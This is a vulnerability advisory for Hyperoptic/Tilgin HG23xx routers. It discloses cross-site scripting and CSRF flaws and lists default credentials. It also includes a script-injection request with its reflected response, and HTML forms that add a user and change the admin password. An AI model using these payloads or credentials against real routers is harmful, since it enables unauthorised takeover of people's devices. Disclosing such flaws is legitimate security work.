Hyperoptic (Tilgin) Router HG23xx CSRF / Cross Site Scripting

Risk: Medium
Local: No
Remote: Yes

Hyperoptic (Tilgin) Router HG23xx Multiple XSS And CSRF Vulnerabilities Vendor: Hyperoptic Ltd. | Tilgin AB Product web page: http://www.hyperoptic.com http://www.tilgin.com Affected version: HG2330, HG2302 and HG2301 Summary: Tilgin's HG23xx family of products offers a flexible and high capacity product in a tiny form factor. When having the product in your hands, do not get fooled by its mere size. The product offers full gigabit routing and a state of the art superior WLAN solution. It runs all services offered with Tilgin HGA and is prepared for all foreseeable future services. The product is also offered in an entry level version with fast Ethernet LAN ports, still with gigabit Ethernet WAN. The routing capacity and excellent WLAN remains the same also on this model, the only limit being the fast Ethernet LAN ports. Desc: The application allows users to perform certain actions via HTTP requests without performing any validity checks to verify the requests. This can be exploited to perform certain actions with administrative privileges if a logged-in user visits a malicious web site. XSS issues were also discovered. The issue is triggered when input passed via multiple POST and GET parameters are not properly sanitized before being returned to the user. This can be exploited to execute arbitrary HTML and script code in a user's browser session in context of an affected site. Tested on: lighttpd/1.4.26-devel-166445 lighttpd/1.4.26-devel-163573 Vulnerability discovered by Gjoko 'LiquidWorm' Krstic @zeroscience Advisory ID: ZSL-2016-5329 Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5329.php 11.05.2016 -- Default credentials: -------------------- user/user admin/admin admin/abcd2301 XSS PoC: -------- POST /advanced/firewall_templates/ HTTP/1.1 Host: __form=new&name=test"><script>prompt(1)</script> Response: [..snip..] <INPUT type="hidden" name="name" value="test"><script>prompt(1)</script>"> [..snip..] CSRF Add Storage (HTTP/SMB) User: --------------------------------- <html> <body> <form action="" method="POST"> <input type="hidden" name="&#95;&#95;form" value="new" /> <input type="hidden" name="name" value="testuser" /> <input type="hidden" name="password" value="testpass" /> <input type="submit" value="Submit" /> </form> </body> </html> CSRF Change Admin Password: --------------------------- <html> <body> <form action="" method="POST"> <input type="hidden" name="&#95;&#95;form" value="user" /> <input type="hidden" name="name" value="admin" /> <input type="hidden" name="password" value="NEWPASS" /> <input type="submit" value="Submit" /> </form> </body> </html>



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